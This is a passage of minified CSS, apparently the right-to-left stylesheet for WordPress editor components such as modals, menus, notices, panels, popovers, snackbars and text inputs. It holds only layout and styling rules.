(min-width:600px){.components-guide__page{min-height:300px}}.components-guide__footer{align-content:center;display:flex;height:36px;justify-content:center;margin:0 0 24px;padding:0 32px;position:relative;width:100%}.components-guide__page-control{margin:0;text-align:center}.components-guide__page-control li{display:inline-block;margin:0}.components-guide__page-control .components-button{color:#e0e0e0;height:30px;margin:-6px 0;min-width:20px}.components-guide__page-control li[aria-current=step] .components-button{color:var(--wp-components-color-accent,var(--wp-admin-theme-color,#3858e9))}.components-modal__frame.components-guide{border:none;max-height:575px;min-width:312px}@media (max-width:600px){.components-modal__frame.components-guide{margin:auto;max-width:calc(100vw - 32px)}}.components-button.components-guide__back-button,.components-button.components-guide__finish-button,.components-button.components-guide__forward-button{position:absolute}.components-button.components-guide__back-button{right:32px}.components-button.components-guide__finish-button,.components-button.components-guide__forward-button{left:32px}[role=region]{position:relative}.is-focusing-regions [role=region]:focus:after{bottom:0;content:"";left:0;pointer-events:none;position:absolute;right:0;top:0;z-index:1000000}.is-focusing-regions .editor-post-publish-panel,.is-focusing-regions .interface-interface-skeleton__actions .edit-post-layout__toggle-entities-saved-states-panel,.is-focusing-regions .interface-interface-skeleton__actions .edit-post-layout__toggle-publish-panel,.is-focusing-regions .interface-interface-skeleton__sidebar .edit-post-layout__toggle-sidebar-panel,.is-focusing-regions [role=region]:focus:after,.is-focusing-regions.is-distraction-free .interface-interface-skeleton__header .edit-post-header{outline:4px solid var(--wp-components-color-accent,var(--wp-admin-theme-color,#3858e9));outline-offset:-4px}.components-menu-group+.components-menu-group{border-top:1px solid #1e1e1e;margin-top:8px;padding-top:8px}.components-menu-group+.components-menu-group.has-hidden-separator{border-top:none;margin-top:0;padding-top:0}.components-menu-group__label{color:#757575;font-size:11px;font-weight:500;margin-bottom:12px;margin-top:4px;padding:0 8px;text-transform:uppercase;white-space:nowrap}.components-menu-item__button,.components-menu-item__button.components-button{width:100%}.components-menu-item__button.components-button[role=menuitemcheckbox] .components-menu-item__item:only-child,.components-menu-item__button.components-button[role=menuitemradio] .components-menu-item__item:only-child,.components-menu-item__button[role=menuitemcheckbox] .components-menu-item__item:only-child,.components-menu-item__button[role=menuitemradio] .components-menu-item__item:only-child{box-sizing:initial;padding-left:48px}.components-menu-item__button .components-menu-items__item-icon,.components-menu-item__button.components-button .components-menu-items__item-icon{display:inline-block;flex:0 0 auto}.components-menu-item__button .components-menu-items__item-icon.has-icon-right,.components-menu-item__button.components-button .components-menu-items__item-icon.has-icon-right{margin-left:-2px;margin-right:24px}.components-menu-item__button .components-menu-item__shortcut+.components-menu-items__item-icon.has-icon-right,.components-menu-item__button.components-button .components-menu-item__shortcut+.components-menu-items__item-icon.has-icon-right{margin-right:8px}.components-menu-item__button .block-editor-block-icon,.components-menu-item__button.components-button .block-editor-block-icon{margin-left:8px;margin-right:-2px}.components-menu-item__button.components-button.is-primary,.components-menu-item__button.is-primary{justify-content:center}.components-menu-item__button.components-button.is-primary .components-menu-item__item,.components-menu-item__button.is-primary .components-menu-item__item{margin-left:0}.components-menu-item__button.components-button:disabled.is-tertiary,.components-menu-item__button.components-button[aria-disabled=true].is-tertiary,.components-menu-item__button:disabled.is-tertiary,.components-menu-item__button[aria-disabled=true].is-tertiary{background:none;color:var(--wp-components-color-accent-darker-10,var(--wp-admin-theme-color-darker-10,#2145e6));opacity:.3}.components-menu-item__info-wrapper{display:flex;flex-direction:column;margin-left:auto}.components-menu-item__info{color:#757575;font-size:12px;margin-top:4px;white-space:normal}.components-menu-item__item{align-items:center;display:inline-flex;margin-left:auto;min-width:160px;white-space:nowrap}.components-menu-item__shortcut{align-self:center;color:currentColor;display:none;margin-left:0;margin-right:auto;padding-right:24px}@media (min-width:480px){.components-menu-item__shortcut{display:inline}}.components-menu-items-choice svg,.components-menu-items-choice.components-button svg{margin-left:12px}.components-menu-items-choice.components-button.has-icon,.components-menu-items-choice.has-icon{padding-right:12px}.components-modal__screen-overlay{animation:edit-post__fade-in-animation .2s ease-out 0s;animation-fill-mode:forwards;background-color:#00000059;bottom:0;display:flex;left:0;position:fixed;right:0;top:0;z-index:100000}@media (prefers-reduced-motion:reduce){.components-modal__screen-overlay{animation-delay:0s;animation-duration:1ms}}.components-modal__frame{animation:components-modal__appear-animation .1s ease-out;animation-fill-mode:forwards;background:#fff;border-radius:4px 4px 0 0;box-shadow:0 .7px 1px #00000026,0 2.7px 3.8px -.2px #00000026,0 5.5px 7.8px -.3px #00000026,-.1px 11.5px 16.4px -.5px #00000026;display:flex;margin:40px 0 0;overflow:hidden;width:100%}@media (prefers-reduced-motion:reduce){.components-modal__frame{animation-delay:0s;animation-duration:1ms}}@media (min-width:600px){.components-modal__frame{border-radius:4px;margin:auto;max-height:calc(100% - 120px);max-width:calc(100% - 32px);min-width:350px;width:auto}}@media (min-width:600px) and (min-width:600px){.components-modal__frame.is-full-screen{height:calc(100% - 32px);max-height:none;width:calc(100% - 32px)}}@media (min-width:600px) and (min-width:782px){.components-modal__frame.is-full-screen{height:calc(100% - 80px);max-width:none;width:calc(100% - 80px)}}@media (min-width:600px){.components-modal__frame.has-size-large,.components-modal__frame.has-size-medium,.components-modal__frame.has-size-small{width:100%}.components-modal__frame.has-size-small{max-width:384px}.components-modal__frame.has-size-medium{max-width:512px}.components-modal__frame.has-size-large{max-width:840px}}@media (min-width:960px){.components-modal__frame{max-height:70%}}@keyframes components-modal__appear-animation{0%{transform:translateY(32px)}to{transform:translateY(0)}}.components-modal__header{align-items:center;border-bottom:1px solid #0000;box-sizing:border-box;display:flex;flex-direction:row;height:72px;justify-content:space-between;padding:24px 32px 8px;position:absolute;right:0;top:0;width:100%;z-index:10}.components-modal__header .components-modal__header-heading{font-size:1.2rem;font-weight:600}.components-modal__header h1{line-height:1;margin:0}.components-modal__header .components-button{position:relative;right:8px}.components-modal__content.has-scrolled-content:not(.hide-header) .components-modal__header{border-bottom-color:#ddd}.components-modal__header+p{margin-top:0}.components-modal__header-heading-container{align-items:center;display:flex;flex-direction:row;flex-grow:1;justify-content:right}.components-modal__header-icon-container{display:inline-block}.components-modal__header-icon-container svg{max-height:36px;max-width:36px;padding:8px}.components-modal__content{flex:1;margin-top:72px;overflow:auto;padding:4px 32px 32px}.components-modal__content.hide-header{margin-top:0;padding-top:32px}.components-modal__content.is-scrollable:focus-visible{box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-components-color-accent,var(--wp-admin-theme-color,#3858e9));outline:2px solid #0000;outline-offset:-2px}.components-notice{align-items:center;background-color:#fff;border-right:4px solid var(--wp-components-color-accent,var(--wp-admin-theme-color,#3858e9));display:flex;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:13px;padding:8px 12px}.components-notice.is-dismissible{position:relative}.components-notice.is-success{background-color:#eff9f1;border-right-color:#4ab866}.components-notice.is-warning{background-color:#fef8ee;border-right-color:#f0b849}.components-notice.is-error{background-color:#f4a2a2;border-right-color:#cc1818}.components-notice__content{flex-grow:1;margin:4px 0 4px 25px}.components-notice__actions{display:flex;flex-wrap:wrap}.components-notice__action.components-button{margin-left:8px}.components-notice__action.components-button,.components-notice__action.components-button.is-link{margin-right:12px}.components-notice__action.components-button.is-secondary{vertical-align:initial}.components-notice__dismiss{align-self:flex-start;color:#757575;flex-shrink:0}.components-notice__dismiss:not(:disabled):not([aria-disabled=true]):focus,.components-notice__dismiss:not(:disabled):not([aria-disabled=true]):not(.is-secondary):active,.components-notice__dismiss:not(:disabled):not([aria-disabled=true]):not(.is-secondary):hover{background-color:initial;color:#1e1e1e}.components-notice__dismiss:not(:disabled):not([aria-disabled=true]):not(.is-secondary):hover{box-shadow:none}.components-notice-list{box-sizing:border-box;max-width:100vw}.components-notice-list .components-notice__content{line-height:2;margin-bottom:12px;margin-top:12px}.components-notice-list .components-notice__action.components-button{display:block;margin-right:0;margin-top:8px}.components-panel{background:#fff;border:1px solid #e0e0e0}.components-panel>.components-panel__body:first-child,.components-panel>.components-panel__header:first-child{margin-top:-1px}.components-panel>.components-panel__body:last-child,.components-panel>.components-panel__header:last-child{border-bottom-width:0}.components-panel+.components-panel{margin-top:-1px}.components-panel__body{border-bottom:1px solid #e0e0e0;border-top:1px solid #e0e0e0}.components-panel__body h3{margin:0 0 .5em}.components-panel__body.is-opened{padding:16px}.components-panel__header{align-items:center;border-bottom:1px solid #ddd;box-sizing:initial;display:flex;height:47px;justify-content:space-between;padding:0 16px}.components-panel__header h2{color:inherit;font-size:inherit;margin:0}.components-panel__body+.components-panel__body,.components-panel__body+.components-panel__header,.components-panel__header+.components-panel__body,.components-panel__header+.components-panel__header{margin-top:-1px}.components-panel__body>.components-panel__body-title{display:block;font-size:inherit;margin-bottom:0;margin-top:0;padding:0;transition:background .1s ease-in-out}@media (prefers-reduced-motion:reduce){.components-panel__body>.components-panel__body-title{transition-delay:0s;transition-duration:0s}}.components-panel__body.is-opened>.components-panel__body-title{margin:-16px -16px 5px}.components-panel__body>.components-panel__body-title:hover{background:#f0f0f0;border:none}.components-panel__body-toggle.components-button{border:none;box-shadow:none;color:#1e1e1e;font-weight:500;height:auto;outline:none;padding:16px 16px 16px 48px;position:relative;text-align:right;transition:background .1s ease-in-out;width:100%}@media (prefers-reduced-motion:reduce){.components-panel__body-toggle.components-button{transition-delay:0s;transition-duration:0s}}.components-panel__body-toggle.components-button:focus{border-radius:0;box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-components-color-accent,var(--wp-admin-theme-color,#3858e9))}.components-panel__body-toggle.components-button .components-panel__arrow{color:#1e1e1e;left:16px;position:absolute;top:50%;transform:translateY(-50%);fill:currentColor;transition:color .1s ease-in-out}@media (prefers-reduced-motion:reduce){.components-panel__body-toggle.components-button .components-panel__arrow{transition-delay:0s;transition-duration:0s}}body.rtl .components-panel__body-toggle.components-button .dashicons-arrow-right{-ms-filter:fliph;filter:FlipH;margin-top:-10px;transform:scaleX(-1)}.components-panel__icon{color:#757575;margin:-2px 6px -2px 0}.components-panel__body-toggle-icon{margin-left:-5px}.components-panel__color-title{float:right;height:19px}.components-panel__row{align-items:center;display:flex;justify-content:space-between;margin-top:8px;min-height:36px}.components-panel__row select{min-width:0}.components-panel__row label{flex-shrink:0;margin-left:12px;max-width:75%}.components-panel__row:empty,.components-panel__row:first-of-type{margin-top:0}.components-panel .circle-picker{padding-bottom:20px}.components-placeholder.components-placeholder{box-sizing:border-box;color:#1e1e1e;font-size:13px;margin:0;padding:1em;position:relative;text-align:right;width:100%;-moz-font-smoothing:subpixel-antialiased;-webkit-font-smoothing:subpixel-antialiased;background-color:#fff;border-radius:2px;box-shadow:inset 0 0 0 1px #1e1e1e;outline:1px solid #0000}@supports (position:sticky){.components-placeholder.components-placeholder{align-items:flex-start;display:flex;flex-direction:column;justify-content:top}}.components-placeholder__error,.components-placeholder__fieldset,.components-placeholder__instructions,.components-placeholder__label{font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:13px;font-weight:400;letter-spacing:normal;line-height:normal;text-transform:none}.components-placeholder__label{align-items:center;display:flex;font-weight:600;margin-bottom:16px}.components-placeholder__label .block-editor-block-icon,.components-placeholder__label .dashicon,.components-placeholder__label>svg{margin-left:12px;fill:currentColor}@media (forced-colors:active){.components-placeholder__label .block-editor-block-icon,.components-placeholder__label .dashicon,.components-placeholder__label>svg{fill:CanvasText}}.components-placeholder__label:empty{display:none}.components-placeholder__fieldset,.components-placeholder__fieldset form{display:flex;flex-direction:row;flex-wrap:wrap;width:100%}.components-placeholder__fieldset form p,.components-placeholder__fieldset p{font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:13px}.components-placeholder__fieldset.is-column-layout,.components-placeholder__fieldset.is-column-layout form{flex-direction:column}.components-placeholder__input[type=url]{border:1px solid #949494;border-radius:2px;box-shadow:0 0 0 #0000;flex:1 1 auto;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:16px;line-height:normal;margin:0 0 0 8px;padding:6px 8px;transition:box-shadow .1s linear}@media (prefers-reduced-motion:reduce){.components-placeholder__input[type=url]{transition-delay:0s;transition-duration:0s}}@media (min-width:600px){.components-placeholder__input[type=url]{font-size:13px;line-height:normal}}.components-placeholder__input[type=url]:focus{border-color:var(--wp-admin-theme-color);box-shadow:0 0 0 .5px var(--wp-admin-theme-color);outline:2px solid #0000}.components-placeholder__input[type=url]::-webkit-input-placeholder{color:#1e1e1e9e}.components-placeholder__input[type=url]::-moz-placeholder{color:#1e1e1e9e;opacity:1}.components-placeholder__input[type=url]:-ms-input-placeholder{color:#1e1e1e9e}.components-placeholder__instructions{margin-bottom:1em}.components-placeholder__error{margin-top:1em;width:100%}.components-placeholder__fieldset .components-button{margin-bottom:12px;margin-left:12px}.components-placeholder__fieldset .components-button:last-child{margin-bottom:0;margin-left:0}.components-placeholder__fieldset .components-button:not(.is-link)~.components-button.is-link{margin-left:10px;margin-right:10px}.components-placeholder__fieldset .components-button:not(.is-link)~.components-button.is-link:last-child{margin-left:0}.components-placeholder.is-large .components-placeholder__label{font-size:18pt;font-weight:400}.components-placeholder.is-medium .components-placeholder__instructions,.components-placeholder.is-small .components-placeholder__instructions{display:none}.components-placeholder.is-medium .components-placeholder__fieldset,.components-placeholder.is-medium .components-placeholder__fieldset form,.components-placeholder.is-small .components-placeholder__fieldset,.components-placeholder.is-small .components-placeholder__fieldset form{flex-direction:column}.components-placeholder.is-medium .components-placeholder__fieldset .components-button,.components-placeholder.is-small .components-placeholder__fieldset .components-button{margin-left:auto}.components-placeholder.is-small .components-button{padding:0 8px 2px}.components-placeholder.has-illustration{-webkit-backdrop-filter:blur(100px);backdrop-filter:blur(100px);backface-visibility:hidden;background-color:initial;border-radius:2px;box-shadow:none;color:inherit;display:flex;overflow:auto}.is-dark-theme .components-placeholder.has-illustration{background-color:#0000001a}.components-placeholder.has-illustration .components-placeholder__fieldset{margin-left:0;margin-right:0;width:auto}.components-placeholder.has-illustration .components-button,.components-placeholder.has-illustration .components-placeholder__instructions,.components-placeholder.has-illustration .components-placeholder__label{opacity:0;pointer-events:none;transition:opacity .1s linear}@media (prefers-reduced-motion:reduce){.components-placeholder.has-illustration .components-button,.components-placeholder.has-illustration .components-placeholder__instructions,.components-placeholder.has-illustration .components-placeholder__label{transition-delay:0s;transition-duration:0s}}.is-selected>.components-placeholder.has-illustration .components-button,.is-selected>.components-placeholder.has-illustration .components-placeholder__instructions,.is-selected>.components-placeholder.has-illustration .components-placeholder__label{opacity:1;pointer-events:auto}.components-placeholder.has-illustration:before{background:currentColor;bottom:0;content:"";left:0;opacity:.1;pointer-events:none;position:absolute;right:0;top:0}.components-placeholder__preview{display:flex;justify-content:center}.components-placeholder__illustration{box-sizing:initial;height:100%;position:absolute;right:50%;top:50%;transform:translate(50%,-50%);width:100%;stroke:currentColor;opacity:.25}.components-popover{box-sizing:border-box;will-change:transform;z-index:1000000}.components-popover *,.components-popover :after,.components-popover :before{box-sizing:inherit}.components-popover.is-expanded{bottom:0;left:0;position:fixed;right:0;top:0;z-index:1000000!important}.components-popover__content{background:#fff;border-radius:2px;box-shadow:0 0 0 1px #ccc,0 .7px 1px #0000001a,0 1.2px 1.7px -.2px #0000001a,0 2.3px 3.3px -.5px #0000001a;box-sizing:border-box;width:min-content}.is-alternate .components-popover__content{box-shadow:0 0 0 1px #1e1e1e}.is-unstyled .components-popover__content{background:none;border-radius:0;box-shadow:none}.components-popover.is-expanded .components-popover__content{box-shadow:0 -1px 0 0 #ccc;height:calc(100% - 48px);overflow-y:visible;position:static;width:auto}.components-popover.is-expanded.is-alternate .components-popover__content{box-shadow:0 -1px 0 #1e1e1e}.components-popover__header{align-items:center;background:#fff;display:flex;height:48px;justify-content:space-between;padding:0 16px 0 8px}.components-popover__header-title{overflow:hidden;text-overflow:ellipsis;white-space:nowrap;width:100%}.components-popover__close.components-button{z-index:5}.components-popover__arrow{display:flex;height:14px;pointer-events:none;position:absolute;width:14px}.components-popover__arrow:before{background-color:#fff;content:"";height:2px;left:1px;position:absolute;right:1px;top:-1px}.components-popover__arrow.is-top{bottom:-14px!important;transform:rotate(0)}.components-popover__arrow.is-right{left:-14px!important;transform:rotate(90deg)}.components-popover__arrow.is-bottom{top:-14px!important;transform:rotate(180deg)}.components-popover__arrow.is-left{right:-14px!important;transform:rotate(-90deg)}.components-popover__triangle{display:block;flex:1}.components-popover__triangle-bg{fill:#fff}.components-popover__triangle-border{fill:#0000;stroke-width:1px;stroke:#ccc}.is-alternate .components-popover__triangle-border{stroke:#1e1e1e}.components-popover-pointer-events-trap{background-color:initial;inset:0;position:fixed;z-index:1000000}.components-radio-control__option{align-items:center;display:flex}.components-radio-control__input[type=radio]{-webkit-appearance:none;appearance:none;border:1px solid #1e1e1e;border-radius:2px;border-radius:50%;box-shadow:0 0 0 #0000;cursor:pointer;display:inline-flex;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:16px;height:24px;line-height:normal;margin:0 0 0 6px;padding:0;transition:box-shadow .1s linear;transition:none;width:24px}@media (prefers-reduced-motion:reduce){.components-radio-control__input[type=radio]{transition-delay:0s;transition-duration:0s}}@media (min-width:600px){.components-radio-control__input[type=radio]{font-size:13px;line-height:normal}}.components-radio-control__input[type=radio]:focus{border-color:var(--wp-admin-theme-color);box-shadow:0 0 0 .5px var(--wp-admin-theme-color)}.components-radio-control__input[type=radio]::-webkit-input-placeholder{color:#1e1e1e9e}.components-radio-control__input[type=radio]::-moz-placeholder{color:#1e1e1e9e;opacity:1}.components-radio-control__input[type=radio]:-ms-input-placeholder{color:#1e1e1e9e}@media (min-width:600px){.components-radio-control__input[type=radio]{height:20px;width:20px}}.components-radio-control__input[type=radio]:checked:before{background-color:#fff;border:4px solid #fff;box-sizing:inherit;height:8px;margin:0;transform:translate(-7px,7px);width:8px}@media (min-width:600px){.components-radio-control__input[type=radio]:checked:before{transform:translate(-5px,5px)}}.components-radio-control__input[type=radio]:focus{box-shadow:0 0 0 2px #fff,0 0 0 4px var(--wp-admin-theme-color);outline:2px solid #0000}.components-radio-control__input[type=radio]:checked{background:var(--wp-admin-theme-color);border-color:var(--wp-admin-theme-color)}.components-radio-control__input[type=radio]:focus{box-shadow:0 0 0 2px var(--wp-components-color-background,#fff),0 0 0 4px var(--wp-components-color-accent,var(--wp-admin-theme-color,#3858e9))}.components-radio-control__input[type=radio]:checked{background:var(--wp-components-color-accent,var(--wp-admin-theme-color,#3858e9));border-color:var(--wp-components-color-accent,var(--wp-admin-theme-color,#3858e9))}.components-radio-control__input[type=radio]:checked:before{border-radius:50%;content:""}.components-radio-control__label{cursor:pointer}.components-resizable-box__handle{display:none;height:23px;width:23px;z-index:2}.components-resizable-box__container.has-show-handle .components-resizable-box__handle{display:block}.components-resizable-box__container>img{width:inherit}.components-resizable-box__handle:after{background:#fff;border-radius:50%;box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-components-color-accent,var(--wp-admin-theme-color,#3858e9));content:"";cursor:inherit;display:block;height:15px;left:calc(50% - 8px);outline:2px solid #0000;position:absolute;top:calc(50% - 8px);width:15px}.components-resizable-box__side-handle:before{background:var(--wp-components-color-accent,var(--wp-admin-theme-color,#3858e9));border-radius:2px;content:"";cursor:inherit;display:block;height:3px;left:calc(50% - 1px);opacity:0;position:absolute;top:calc(50% - 1px);transition:transform .1s ease-in;width:3px;will-change:transform}@media (prefers-reduced-motion:reduce){.components-resizable-box__side-handle:before{transition-delay:0s;transition-duration:0s}}.components-resizable-box__corner-handle,.components-resizable-box__side-handle{z-index:2}.components-resizable-box__side-handle.components-resizable-box__handle-bottom,.components-resizable-box__side-handle.components-resizable-box__handle-bottom:before,.components-resizable-box__side-handle.components-resizable-box__handle-top,.components-resizable-box__side-handle.components-resizable-box__handle-top:before{border-left:0;border-right:0;right:0;width:100%}.components-resizable-box__side-handle.components-resizable-box__handle-left,.components-resizable-box__side-handle.components-resizable-box__handle-left:before,.components-resizable-box__side-handle.components-resizable-box__handle-right,.components-resizable-box__side-handle.components-resizable-box__handle-right:before{border-bottom:0;border-top:0;height:100%;top:0}.components-resizable-box__side-handle.components-resizable-box__handle-bottom:active:before,.components-resizable-box__side-handle.components-resizable-box__handle-bottom:hover:before,.components-resizable-box__side-handle.components-resizable-box__handle-top:active:before,.components-resizable-box__side-handle.components-resizable-box__handle-top:hover:before{animation:components-resizable-box__top-bottom-animation .1s ease-out 0s;animation-fill-mode:forwards}@media (prefers-reduced-motion:reduce){.components-resizable-box__side-handle.components-resizable-box__handle-bottom:active:before,.components-resizable-box__side-handle.components-resizable-box__handle-bottom:hover:before,.components-resizable-box__side-handle.components-resizable-box__handle-top:active:before,.components-resizable-box__side-handle.components-resizable-box__handle-top:hover:before{animation-delay:0s;animation-duration:1ms}}.components-resizable-box__side-handle.components-resizable-box__handle-left:active:before,.components-resizable-box__side-handle.components-resizable-box__handle-left:hover:before,.components-resizable-box__side-handle.components-resizable-box__handle-right:active:before,.components-resizable-box__side-handle.components-resizable-box__handle-right:hover:before{animation:components-resizable-box__left-right-animation .1s ease-out 0s;animation-fill-mode:forwards}@media (prefers-reduced-motion:reduce){.components-resizable-box__side-handle.components-resizable-box__handle-left:active:before,.components-resizable-box__side-handle.components-resizable-box__handle-left:hover:before,.components-resizable-box__side-handle.components-resizable-box__handle-right:active:before,.components-resizable-box__side-handle.components-resizable-box__handle-right:hover:before{animation-delay:0s;animation-duration:1ms}}@media not all and (min-resolution:0.001dpcm){@supports (-webkit-appearance:none){.components-resizable-box__side-handle.components-resizable-box__handle-bottom:active:before,.components-resizable-box__side-handle.components-resizable-box__handle-bottom:hover:before,.components-resizable-box__side-handle.components-resizable-box__handle-left:active:before,.components-resizable-box__side-handle.components-resizable-box__handle-left:hover:before,.components-resizable-box__side-handle.components-resizable-box__handle-right:active:before,.components-resizable-box__side-handle.components-resizable-box__handle-right:hover:before,.components-resizable-box__side-handle.components-resizable-box__handle-top:active:before,.components-resizable-box__side-handle.components-resizable-box__handle-top:hover:before{animation:none}}}@keyframes components-resizable-box__top-bottom-animation{0%{opacity:0;transform:scaleX(0)}to{opacity:1;transform:scaleX(1)}}@keyframes components-resizable-box__left-right-animation{0%{opacity:0;transform:scaleY(0)}to{opacity:1;transform:scaleY(1)}}.components-resizable-box__handle-right{right:-11.5px}.components-resizable-box__handle-left{left:-11.5px}.components-resizable-box__handle-top{top:-11.5px}.components-resizable-box__handle-bottom{bottom:-11.5px}.components-responsive-wrapper{align-items:center;display:flex;justify-content:center;max-width:100%;position:relative}.components-responsive-wrapper__content{display:block;max-width:100%;width:100%}.components-sandbox{overflow:hidden}iframe.components-sandbox{width:100%}body.lockscroll,html.lockscroll{overflow:hidden}.components-select-control__input{outline:0;-webkit-tap-highlight-color:rgba(0,0,0,0)!important}@media (max-width:782px){.components-base-control .components-base-control__field .components-select-control__input{font-size:16px}}.components-snackbar{-webkit-backdrop-filter:blur(16px) saturate(180%);backdrop-filter:blur(16px) saturate(180%);background:#000000d9;border-radius:2px;box-shadow:0 .7px 1px #0000001a,0 1.2px 1.7px -.2px #0000001a,0 2.3px 3.3px -.5px #0000001a;box-sizing:border-box;color:#fff;cursor:pointer;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:13px;max-width:600px;padding:12px 20px;pointer-events:auto;width:100%}@media (min-width:600px){.components-snackbar{width:-moz-fit-content;width:fit-content}}.components-snackbar:focus{box-shadow:inset 0 0 0 1px #fff,0 0 0 var(--wp-admin-border-width-focus) var(--wp-components-color-accent,var(--wp-admin-theme-color,#3858e9))}.components-snackbar.components-snackbar-explicit-dismiss{cursor:default}.components-snackbar .components-snackbar__content-with-icon{padding-right:24px;position:relative}.components-snackbar .components-snackbar__icon{position:absolute;right:-8px;top:-2.9px}.components-snackbar .components-snackbar__dismiss-button{cursor:pointer;margin-right:24px}.components-snackbar__action.components-button{color:#fff;flex-shrink:0;height:auto;line-height:1.4;margin-right:32px;padding:0}.components-snackbar__action.components-button:not(:disabled):not([aria-disabled=true]):not(.is-secondary){background-color:initial;text-decoration:underline}.components-snackbar__action.components-button:not(:disabled):not([aria-disabled=true]):not(.is-secondary):focus{box-shadow:none;color:#fff;outline:1px dotted #fff}.components-snackbar__action.components-button:not(:disabled):not([aria-disabled=true]):not(.is-secondary):hover{color:#fff;text-decoration:none}.components-snackbar__content{align-items:baseline;display:flex;justify-content:space-between;line-height:1.4}.components-snackbar-list{box-sizing:border-box;pointer-events:none;position:absolute;width:100%;z-index:100000}.components-snackbar-list__notice-container{padding-top:8px;position:relative}.components-tab-panel__tabs{align-items:stretch;display:flex;flex-direction:row}.components-tab-panel__tabs[aria-orientation=vertical]{flex-direction:column}.components-tab-panel__tabs-item{background:#0000;border:none;border-radius:0;box-shadow:none;cursor:pointer;font-weight:500;height:48px;margin-right:0;padding:3px 16px;position:relative}.components-tab-panel__tabs-item:focus:not(:disabled){box-shadow:none;outline:none;position:relative}.components-tab-panel__tabs-item:after{background:var(--wp-components-color-accent,var(--wp-admin-theme-color,#3858e9));border-radius:0;bottom:0;content:"";height:calc(var(--wp-admin-border-width-focus)*0);left:0;pointer-events:none;position:absolute;right:0;transition:all .1s linear}@media (prefers-reduced-motion:reduce){.components-tab-panel__tabs-item:after{transition-delay:0s;transition-duration:0s}}.components-tab-panel__tabs-item.is-active:after{height:calc(var(--wp-admin-border-width-focus)*1);outline:2px solid #0000;outline-offset:-1px}.components-tab-panel__tabs-item:before{border-radius:2px;bottom:12px;box-shadow:0 0 0 0 #0000;content:"";left:12px;pointer-events:none;position:absolute;right:12px;top:12px;transition:all .1s linear}@media (prefers-reduced-motion:reduce){.components-tab-panel__tabs-item:before{transition-delay:0s;transition-duration:0s}}.components-tab-panel__tabs-item:focus-visible:before{box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-components-color-accent,var(--wp-admin-theme-color,#3858e9));outline:2px solid #0000}.components-text-control__input,.components-text-control__input[type=color],.components-text-control__input[type=date],.components-text-control__input[type=datetime-local],.components-text-control__input[type=datetime],.components-text-control__input[type=email],.components-text-control__input[type=month],.components-text-control__input[type=number],.components-text-control__input[type=password],.components-text-control__input[type=tel],.components-text-control__input[type=text],.components-text-control__input[type=time],.components-text-control__input[type=url],.components-text-control__input[type=week]{border:1px solid #949494;border-radius:2px;box-shadow:0 0 0 #0000;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:16px;height:32px;line-height:normal;padding:6px 8px;transition:box-shadow .1s linear;width:100%}@media (prefers-reduced-motion:reduce){.components-text-control__input,.components-text-control__input[type=color],.components-text-control__input[type=date],.components-text-control__input[type=datetime-local],.components-text-control__input[type=datetime],.components-text-control__input[type=email],.components-text-control__input[type=month],.components-text-control__input[type=number],.components-text-control__input[type=password],.components-text-control__input[type=tel],.components-text-control__input[type=text],.components-text-control__input[type=time],.components-text-control__input[type=url],.components-text-control__input[type=week]{transition-delay:0s;transition-duration:0s}}@media (min-width:600px){.components-text-control__input,.components-text-control__input[type=color],.components-text-control__input[type=date],.components-text-control__input[type=datetime-local],.components-text-control__input[type=datetime],.components-text-control__input[type=email],.components-text-control__input[type=month],.components-text-control__input[type=number],.components-text-control__input[type=password],.components-text-control__input[type=tel],.components-text-control__input[type=text],.components-text-control__input[type=time],.components-text-control__input[type=url],.components-text-control__input[type=week]{font-size:13px;line-height:normal}}.components-text-control__input:focus,.components-text-control__input[type=color]:focus,.components-text-control__input[type=date]:focus,.components-text-control__input[type=datetime-local]:focus,.components-text-control__input[type=datetime]:focus,.components-text-control__input[type=email]:focus,.components-text-control__input[type=month]:focus,.components-text-control__input[type=number]:focus,.components-text-control__input[type=password]:focus,.components-text-control__input[type=tel]:focus,.components-text-control__input[type=text]:focus,.components-text-control__input[type=time]:focus,.components-text-control__input[type=url]:focus,.components-text-control__input[type=week]:focus{border-color:var(--wp-admin-theme-color);box-shadow:0 0 0 .5px var(--wp-admin-theme-color);outline:2px solid #0000}.components-text-control__input::-webkit-input-placeholder,.components-text-control__input[type=color]::-webkit-input-placeholder,.components-text-control__input[type=date]::-webkit-input-placeholder,.components-text-control__input[type=datetime-local]::-webkit-input-placeholder,.components-text-control__input[type=datetime]::-webkit-input-placeholder,.components-text-control__input[type=email]::-webkit-input-placeholder,.components-text-control__input[type=month]::-webkit-input-placeholder,.components-text-control__input[type=number]::-webkit-input-placeholder,.components-text-control__input[type=password]::-webkit-input-placeholder,.components-text-control__input[type=tel]::-webkit-input-placeholder,.components-text-control__input[type=text]::-webkit-input-placeholder,.components-text-control__input[type=time]::-webkit-input-placeholder,.components-text-control__input[type=url]::-webkit-input-placeholder,.components-text-control__input[type=week]::-webkit-input-placeholder{color:#1e1e1e9e}.components-text-control__input::-moz-placeholder,.components-text-control__input[type=color]::-moz-placeholder,.components-text-control__input[type=date]::-moz-placeholder,.components-text-control__input[type=datetime-local]::-moz-placeholder,.components-text-control__input[type=datetime]::-moz-placeholder,.components-text-control__input[type=email]::-moz-placeholder,.components-text-control__input[type=month]::-moz-placeholder,.components-text-control__input[type=number]::-moz-placeholder,.components-text-control__input[type=password]::-moz-placeholder,.components-text-control__input[type=tel]::-moz-placeholder,.components-text-control__input[type=text]::-moz-placeholder,.components-text-control__input[type=time]::-moz-pl